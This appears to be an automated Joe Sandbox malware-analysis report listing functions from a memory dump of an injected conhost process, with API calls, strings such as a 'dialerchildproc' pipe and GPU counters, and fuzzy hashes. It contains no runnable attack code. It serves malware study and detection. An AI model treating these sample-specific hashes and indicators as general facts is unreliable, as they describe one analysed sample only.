Part of subcall function 000001D29E8C3554: StrStrW.SHLWAPI ref: 000001D29E8C3594
Part of subcall function 000001D29E8C3554: StrToIntW.SHLWAPI ref: 000001D29E8C35BB

GetProcessHeap.KERNEL32 ref: 000001D29E8C308C
HeapFree.KERNEL32 ref: 000001D29E8C309A

Strings

\GPU user(*)\Running Time, xrefs: 000001D29E8C3048

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: cb2dbe6f83b17fc0d67bd7ee7cd5aa67c5ffb3d51e3a622a1cf9f3977aee0871
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: C631D772602B6487FB18DF92A8143DDA3A0FFA8B9DF444126DE7943A75DF38C0968740

Function 000001D29E8C30BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000001D29E8C311A
GetProcessHeap.KERNEL32 ref: 000001D29E8C312B
HeapAlloc.KERNEL32 ref: 000001D29E8C3139
PdhGetCounterInfoW.PDH ref: 000001D29E8C314F
StrCmpW.SHLWAPI ref: 000001D29E8C3164

Part of subcall function 000001D29E8C3554: StrCmpNW.SHLWAPI ref: 000001D29E8C3576
Part of subcall function 000001D29E8C3554: StrStrW.SHLWAPI ref: 000001D29E8C3594
Part of subcall function 000001D29E8C3554: StrToIntW.SHLWAPI ref: 000001D29E8C35BB

GetProcessHeap.KERNEL32 ref: 000001D29E8C3191
HeapFree.KERNEL32 ref: 000001D29E8C319F

Strings

\GPU user(*)\Utilization Percentage, xrefs: 000001D29E8C315D

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: 683f8b830d29f6793bc4e6085011839e2be0b11f996f6a325a1ad19a6bf7271c
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: E131F731602B258AFB18DFA2A85479963A0FBA5F99F044127EE7943735DF38C486C300

Function 000001D29E8CA974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001D29E8CA9D1

Part of subcall function 000001D29E8CB844: __GetUnwindTryBlock.LIBCMT ref: 000001D29E8CB887
Part of subcall function 000001D29E8CB844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001D29E8CB8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001D29E8CAAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001D29E8CACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001D29E8CAE0A

Strings

csm, xrefs: 000001D29E8CA9EB
csm, xrefs: 000001D29E8CAACC
csm, xrefs: 000001D29E8CAA52

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: df78c5f59cf1bb2888a392de598625eae80d0b12cfa10b111f4050832870d3b4
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: E6E19D72602B609AEB28DFA5D4503DD37A4F766B8CF005557EEBA57BA9CB34C580C700

Function 000001D29E899D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001D29E899DD1

Part of subcall function 000001D29E89AC44: __GetUnwindTryBlock.LIBCMT ref: 000001D29E89AC87
Part of subcall function 000001D29E89AC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001D29E89ACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001D29E899EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001D29E89A0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001D29E89A20A

Strings

csm, xrefs: 000001D29E899DEB
csm, xrefs: 000001D29E899ECC
csm, xrefs: 000001D29E899E52

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: 3c1d1e0ea5e291d5167f9d0baf28b11f036ef0a43fb8c40c078e7ab707b6fd5c
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: A3E1CF36A02B609AEB28DFA5D4683DD77A0F775B8CF100516EEB957BA9CB34D481C700

Function 000001D29E8CF7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000001D29E8CF940
GetProcAddress.KERNEL32 ref: 000001D29E8CF94C

Strings

api-ms-, xrefs: 000001D29E8CF88A
ext-ms-, xrefs: 000001D29E8CF89D

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: a4c69b54cb6bdf7cec9938ac5b604fb2665deba4bbff5f41d560188b163afdf8
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: A741C571313A2091FB1ADB96A8247E963D1FB66BE8F054127DD3D577A4DF38C4499300

Function 000001D29E8C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001D29E8C10B1
RegEnumValueW.ADVAPI32 ref: 000001D29E8C1117
GetProcessHeap.KERNEL32 ref: 000001D29E8C115A
HeapAlloc.KERNEL32 ref: 000001D29E8C1168
GetProcessHeap.KERNEL32 ref: 000001D29E8C1185
HeapFree.KERNEL32 ref: 000001D29E8C1193

Strings

d, xrefs: 000001D29E8C10D6

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: 97138f55e1463c9248ece60b4044fe400d30b7db9d3b85f2e4456424710aa288
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: 84419273215B94C6E764CF61E45439E77B1F789B98F448116DAA907768DF3CC889CB00

Function 000001D29E8CD498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,000001D29E8CCC0E,?,?,?,?,?,?,?,?,000001D29E8CD3CD,?,?,00000001), ref: 000001D29E8CD4B7
FlsSetValue.KERNEL32(?,?,?,000001D29E8CCC0E,?,?,?,?,?,?,?,?,000001D29E8CD3CD,?,?,00000001), ref: 000001D29E8CD4D6
FlsSetValue.KERNEL32(?,?,?,000001D29E8CCC0E,?,?,?,?,?,?,?,?,000001D29E8CD3CD,?,?,00000001), ref: 000001D29E8CD4FE
FlsSetValue.KERNEL32(?,?,?,000001D29E8CCC0E,?,?,?,?,?,?,?,?,000001D29E8CD3CD,?,?,00000001), ref: 000001D29E8CD50F
FlsSetValue.KERNEL32(?,?,?,000001D29E8CCC0E,?,?,?,?,?,?,?,?,000001D29E8CD3CD,?,?,00000001), ref: 000001D29E8CD520

Strings

1%, xrefs: 000001D29E8CD4FE
Y%, xrefs: 000001D29E8CD4D6

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: 24a6bf533a8fe68b584a175c90bbdd8739000e8860d1df61a008008e47886064
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 52118E3034726081FB5CB7E5A5713F963817BA63FCF48572AE939066FADE38D5028200

Function 000001D29E8C2334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001D29E8C2349
GetCurrentProcessId.KERNEL32 ref: 000001D29E8C2353
CreateFileW.KERNEL32 ref: 000001D29E8C2384
WriteFile.KERNEL32 ref: 000001D29E8C23AC
ReadFile.KERNEL32 ref: 000001D29E8C23CB
CloseHandle.KERNEL32 ref: 000001D29E8C23D4

Strings

\\.\pipe\dialerchildproc, xrefs: 000001D29E8C2365

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: db28b0a6fccb13f95e9ab0e56f4354309450baf28b7b75bae2659d2b87a95409
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: E2117C72615B64C2E7148B61F41439E6760FB99BA8F504316EA7A02BB8CF7CC589CB00

Function 000001D29E8C7940 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001D29E8C7968
__scrt_acquire_startup_lock.LIBCMT ref: 000001D29E8C79BA
_RTC_Initialize.LIBCMT ref: 000001D29E8C79E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001D29E8C7A0E
__scrt_release_startup_lock.LIBCMT ref: 000001D29E8C7A39

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 7dbce0ee019654ad271702b6b52ccf1bbfd2d96d306b60ed36a4bc96b1b59494
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: FC81BF7160366586F75CAFF594713D92390BBB7B8CF044027EA78437B6DA3AC9868700

Function 000001D29E8CA1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000001D29E8CA3B3,?,?,?,000001D29E8C9B9C,?,?,?,?,000001D29E8C96BD), ref: 000001D29E8CA279
GetLastError.KERNEL32(?,?,?,000001D29E8CA3B3,?,?,?,000001D29E8C9B9C,?,?,?,?,000001D29E8C96BD), ref: 000001D29E8CA287
LoadLibraryExW.KERNEL32(?,?,?,000001D29E8CA3B3,?,?,?,000001D29E8C9B9C,?,?,?,?,000001D29E8C96BD), ref: 000001D29E8CA2B1
FreeLibrary.KERNEL32(?,?,?,000001D29E8CA3B3,?,?,?,000001D29E8C9B9C,?,?,?,?,000001D29E8C96BD), ref: 000001D29E8CA2F7
GetProcAddress.KERNEL32(?,?,?,000001D29E8CA3B3,?,?,?,000001D29E8C9B9C,?,?,?,?,000001D29E8C96BD), ref: 000001D29E8CA303

Strings

api-ms-, xrefs: 000001D29E8CA299

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: 58c48f13cdf15a63397576e6a12ab1cc5009d60fdba247cbb9cebc0aced32b58
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: FB31B631313A70E5EF1A9BD6A8207D92394BB69BA8F590626DD3F073B1DF39C5858300

Function 000001D29E8D41E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001D29E8D4215
GetLastError.KERNEL32 ref: 000001D29E8D4221
CloseHandle.KERNEL32 ref: 000001D29E8D4239
CreateFileW.KERNEL32 ref: 000001D29E8D4264
WriteConsoleW.KERNEL32 ref: 000001D29E8D4283

Strings

CONOUT$, xrefs: 000001D29E8D4245

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: 6902942405629e849f29cfbac9ca15efd2b4a7f93a50d25bca3d0cac9ab0ac44
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: 3B118271311B6486E7549B92F86435D66A4FFA8FE8F44421AEA7E877B4CF38C8848740

Function 000001D29E8C3BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3C5A

Strings

wr, xrefs: 000001D29E8C3C2F

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: 0546fa13572bbf481bf845f95c433a7d11921431f24a255cbba33c2ee440a035
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: D9118E36302754C2EB589B65E4242AD6361FF59B98F08042ADEBD03765EF3DC9858704

Function 000001D29E8C5F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001D29E8C5F9B
GetThreadContext.KERNEL32 ref: 000001D29E8C6105

Part of subcall function 000001D29E8C5D90: GetCurrentThreadId.KERNEL32 ref: 000001D29E8C5D94

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: 82bc11c909149179d69fe6b225af1e9ddc9cf23d6c5aa8493685a2f5972d99c7
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: F3D1C97620AB9886DB749B56E4A039A77A0F3D9B88F100117EAED57BB5CF3CC541DB00

Function 000001D29E8C31CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000001D29E8C22ED), ref: 000001D29E8C31EF
HeapAlloc.KERNEL32(?,?,?,?,?,000001D29E8C22ED), ref: 000001D29E8C3202
StrCmpNIW.SHLWAPI(?,?,?,?,?,000001D29E8C22ED), ref: 000001D29E8C3277
GetProcessHeap.KERNEL32(?,?,?,?,?,000001D29E8C22ED), ref: 000001D29E8C32DD
HeapFree.KERNEL32(?,?,?,?,?,000001D29E8C22ED), ref: 000001D29E8C32EB

Strings

dialer, xrefs: 000001D29E8C3270

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: eaba61874ba32c9064265aa58c7ab5254510d23f78e146824236608287e0a28a
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: 0A31C432703B6586EF58DFD6E4653A963A0FB65B89F044026CE7803B66DF34C4A68700

Function 000001D29E8CD3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000001D29E8CDAE5,?,?,?,?,000001D29E8CDBA8), ref: 000001D29E8CD3DF
FlsSetValue.KERNEL32(?,?,?,000001D29E8CDAE5,?,?,?,?,000001D29E8CDBA8), ref: 000001D29E8CD415
FlsSetValue.KERNEL32(?,?,?,000001D29E8CDAE5,?,?,?,?,000001D29E8CDBA8), ref: 000001D29E8CD442
FlsSetValue.KERNEL32(?,?,?,000001D29E8CDAE5,?,?,?,?,000001D29E8CDBA8), ref: 000001D29E8CD453
FlsSetValue.KERNEL32(?,?,?,000001D29E8CDAE5,?,?,?,?,000001D29E8CDBA8), ref: 000001D29E8CD464
SetLastError.KERNEL32(?,?,?,000001D29E8CDAE5,?,?,?,?,000001D29E8CDBA8), ref: 000001D29E8CD47F

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: a82f20192614bc5bd8b928fe253d302ce327c51622f0f639314a75d53b47b926
